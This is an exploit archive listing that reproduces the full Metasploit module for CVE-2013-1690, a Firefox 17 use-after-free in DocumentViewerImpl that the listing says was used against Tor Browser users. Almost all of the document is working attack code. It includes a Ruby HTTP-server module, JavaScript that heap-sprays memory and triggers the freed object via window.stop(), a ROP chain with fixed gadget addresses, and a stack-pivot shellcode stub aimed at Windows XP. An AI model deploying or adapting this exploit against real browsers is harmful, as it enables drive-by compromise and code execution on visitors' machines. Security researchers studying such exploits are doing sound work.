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Firefox onreadystatechange Event DocumentViewerImpl Use After Free

Firefox onreadystatechange Event DocumentViewerImpl Use After Free
Posted Aug 8, 2013
Authored by webDEViL, sinn3r, juan vazquez, temp66, Nils | Site metasploit.com

This Metasploit module exploits a vulnerability found on Firefox 17.0.6, specifically an use after free of a DocumentViewerImpl object, triggered via an specially crafted web page using onreadystatechange events and the window.stop() API, as exploited in the wild on 2013 August to target Tor Browser users.

tags | exploit, web
advisories | CVE-2013-1690, OSVDB-94584
MD5 | 3ec0e73cc8dcae69c0a08d398a348359

Firefox onreadystatechange Event DocumentViewerImpl Use After Free

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb

def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox onreadystatechange Event DocumentViewerImpl Use After Free',
'Description' => %q{
This module exploits a vulnerability found on Firefox 17.0.6, specifically an use
after free of a DocumentViewerImpl object, triggered via an specially crafted web
page using onreadystatechange events and the window.stop() API, as exploited in the
wild on 2013 August to target Tor Browser users.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nils', # vulnerability discovery
'Unknown', # 1day exploit, prolly the FBI
'w3bd3vil', # 1day analysis
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-1690' ],
[ 'OSVDB', '94584'],
[ 'BID', '60778'],
[ 'URL', 'https://www.mozilla.org/security/announce/2013/mfsa2013-53.html' ],
[ 'URL', 'https://lists.torproject.org/pipermail/tor-announce/2013-August/000089.html' ],
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=901365' ],
[ 'URL', 'http://krash.in/ffn0day.txt' ],
[ 'URL', 'http://hg.mozilla.org/releases/mozilla-esr17/rev/2d5a85d7d3ae' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'BadChars' => "\x00",
'DisableNops' => true
},
'Platform' => 'win',
'Targets' =>
[
[ 'Firefox 17 & Firefox 21 / Windows XP SP3',
{
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
'RetGadget' => 0x77c3ee16, # ret from msvcrt
'StackPivot' => 0x76C9B4C2, # xcht ecx,esp # or byte ptr[eax], al # add byte ptr [edi+5Eh], bl # ret 8 from IMAGEHLP
'VFuncPtr' => 0x0c10100c # Fake Function Pointer to the Sprayed Memory
}
]
],
'DisclosureDate' => 'Jun 25 2013',
'DefaultTarget' => 0))

end

def stack_pivot
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
return pivot
end

def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
vprint_status("Agent: #{agent}")

if agent !~ /Windows NT 5\.1/
print_error("Windows XP not found, sending 404: #{agent}")
send_not_found(cli)
return
end

if agent !~ /Firefox\/17/ or agent !~ /Firefox\/21/
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

my_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource

# build html
code = [
target['VFuncPtr'],
target['RetGadget'],
target['StackPivot'],
junk
].pack("V*")
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})
js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))

content = <<-HTML
<html>
<body>
<iframe src="#{my_uri}/iframe.html"></iframe>
</body></html>
HTML

# build iframe
iframe = <<-IFRAME
<script>
var z="<body><img src='nonexistant.html' onerror=\\"\\" ></body>";
var test = new Array();
var heap_chunks;
function heapSpray(shellcode, fillsled) {
var chunk_size, headersize, fillsled_len, code;
var i, codewithnum;
chunk_size = 0x40000;
headersize = 0x10;
fillsled_len = chunk_size - (headersize + shellcode.length);
while (fillsled.length <fillsled_len)
fillsled += fillsled;
fillsled = fillsled.substring(0, fillsled_len);
code = shellcode + fillsled;
heap_chunks = new Array();
for (i = 0; i<1000; i++)
{
codewithnum = "HERE" + code;
heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
}
}


function b() {
for(var c=0;1024>c;c++) {
test[c]=new ArrayBuffer(180);
bufView = new Uint32Array(test[c]);
for (var i=0; i < 45; i++) {
bufView[i] = #{target['FakeObject']};
}
}
}

function a() {
window.stop();
var myshellcode = unescape("#{js_code}");
var myfillsled = unescape("#{js_random}");
heapSpray(myshellcode,myfillsled);
b();
window.parent.frames[0].frameElement.ownerDocument.write(z);
}

document.addEventListener("readystatechange",a,null);
</script>
IFRAME

print_status("URI #{request.uri} requested...")

if request.uri =~ /iframe\.html/
print_status("Sending iframe HTML")
send_response(cli, iframe, {'Content-Type'=>'text/html'})
return
end

print_status("Sending HTML")
send_response(cli, content, {'Content-Type'=>'text/html'})

end

end

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